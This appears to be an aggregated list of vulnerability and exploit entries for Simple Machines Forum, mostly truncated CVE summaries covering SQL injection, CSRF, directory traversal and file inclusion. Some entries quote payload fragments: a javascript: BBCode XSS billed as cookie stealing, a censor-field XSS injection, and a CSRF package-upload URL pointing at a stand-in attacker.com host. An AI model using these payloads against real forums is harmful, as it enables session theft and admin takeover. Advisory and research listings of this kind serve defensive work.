CVE-2009-2385

CVE-2009-2385 affects Simple Machines Forum (SMF) — Member Awards component 1.0.2. The vulnerability lies in the awardsMembers function in Sources/Profile.php, where the id parameter in a profile action to index.php can be exploited to perform SQL injection and execute arbitrary SQL commands. Thi...

SMF Member Awards 1.0.2 SQL Injection

------------------------------------------------------------------------- SMF Component Member Awards Blind SQL-injection Vulnerability ------------------------------------------------------------------------- author: eLwaux thanks: mailbrush, antichat.ru, uasc.org.ua...

SMF Mod Member Awards 1.0.2 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= SMF Mod Member Awards 1.0.2 Blind SQL Injection Exploit ======================================================= -----------------------------------------------------------------------...

SMF Mod Member Awards 1.0.2 - Blind SQL Injection

------------------------------------------------------------------------- SMF Component Member Awards Blind SQL-injection Vulnerability ------------------------------------------------------------------------- author: eLwaux thanks: mailbrush, antichat.ru, uasc.org.ua...

SMF Mod Member Awards 1.0.2 Blind SQL Injection Exploit

No description provided by source. ------------------------------------------------------------------------- SMF Component Member Awards Blind SQL-injection Vulnerability ------------------------------------------------------------------------- author: eLwaux thanks: mailbrush, antichat.ru,...

Sql injection

SQL injection vulnerability in Load.php in Simple Machines Forum SMF 1.1.4 and earlier allows remote attackers to execute arbitrary SQL commands by setting the dbcharacterset parameter to a multibyte character set such as big5, which causes the addslashes PHP function to produce a "" backslash...

CVE-2008-6741

SQL injection vulnerability in Load.php in Simple Machines Forum SMF 1.1.4 and earlier allows remote attackers to execute arbitrary SQL commands by setting the dbcharacterset parameter to a multibyte character set such as big5, which causes the addslashes PHP function to produce a "" backslash...

CVE-2008-6741

CVE-2008-6741 affects Simple Machines Forum (SMF) 1.1.4 and earlier. The vulnerability arises from an SQL injection in Load.php triggered by using a multibyte character set for db_character_set (e.g., big5), where addslashes can fail to quote single quotes, enabling remote SQL execution via a cra...

Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in index.php in Simple Machines Forum SMF 1.0 before 1.0.15 and 1.1 before 1.1.7 allows remote attackers to hijack the authentication of admins for requests that install packages via the package parameter in an install2 action...

CVE-2008-6659

CVE-2008-6659 affects Simple Machines Forum (SMF) 1.x before 1.1.7 (and 1.0 before 1.0.15). The flaw is a directory traversal in index.php via theme_dir in a jsoption action, tied to Sources/QueryString.php and Sources/Themes.php, enabling remote authenticated users to configure arbitrary local f...

CVE-2008-6658

CVE-2008-6658 affects Simple Machines Forum (SMF): directory traversal in index.php allows remote authenticated administrators to install packages from arbitrary directories via package parameter during install2, affecting SMF 1.0.x prior to 1.0.15 and SMF 1.1.x prior to 1.1.7. Impact per descrip...

CVE-2008-6657

SMF 1.x is affected by a CSRF vulnerability in index.php. Versions 1.0 before 1.0.15 and 1.1 before 1.1.7 allow remote attackers to hijack admin authentication for install2 package requests. Impact is admin-level session hijack via crafted requests; exploitation requires no user interaction. The ...

CVE-2008-6544

Concretely, CVE-2008-6544 affects Simple Machines Forum (SMF) 1.1.4. The vulnerability is described as PHP remote file inclusion via the settings[default_theme_dir] parameter to two endpoints: Sources/Subs-Graphics.php and Sources/Themes.php. The underlying issue involves allowing a URL to influe...

SMF 1.1.7 Persistent XSS (requires permision to edit censor)

SMF 1.1.7 simplemachines.org XSS Exploitation: If you can modify the censor on a SMF forum, then you can make it execute arbitrary JS code. http://SMF.Forum.com/index.php?action=postsettings;sa=censor Just add the following entry: http://www.test.xss/ = http://www.test-xss/"...

Simple Machines Forum (SMF) - BBCode Cookie Stealing

Simple Machines Forum SMF - BBCode Cookie Stealing Author: Xianur0 BBCode of the smf not filtered properly specified urls: centersize=14pturl=javascript:alert'xss'Saltando Filtro :D.../url/size...

SMF 1.1.7 Cross Site Scripting

SMF 1.1.7 simplemachines.org XSS Exploitation: If you can modify the censor on a SMF forum, then you can make it execute arbitrary JS code. http://SMF.Forum.com/index.php?action=postsettings;sa=censor Just add the following entry: http://www.test.xss/ = http://www.test-xss/"...

SMF Cookie Stealing

Author: Xianur0 BBCode of the smf not filtered properly specified urls: centersize=14pturl=javascript:alert'xss'Saltando Filtro :D.../url/size...

Simple Machines Forum (SMF) - 'BBCode' Cookie Stealing

Author: Xianur0 BBCode of the smf not filtered properly specified urls: centersize=14pturl=javascript:alert'xss'Saltando Filtro :D.../url/size...

Simple Machines Forum (SMF) 1.1.7 - Cross-Site Request Forgery Cross-Site Scripting Package Upload

Simple Machines Forum SMF 1.1.7 - Cross-Site Request Forgery Cross-Site Scripting Package Upload Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the adm...

Simple Machines Forum (SMF) 1.1.7 - Cross-Site Request Forgery / Cross-Site Scripting / Package Upload

Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file: http://attacker.com/packages.xml Save this file as...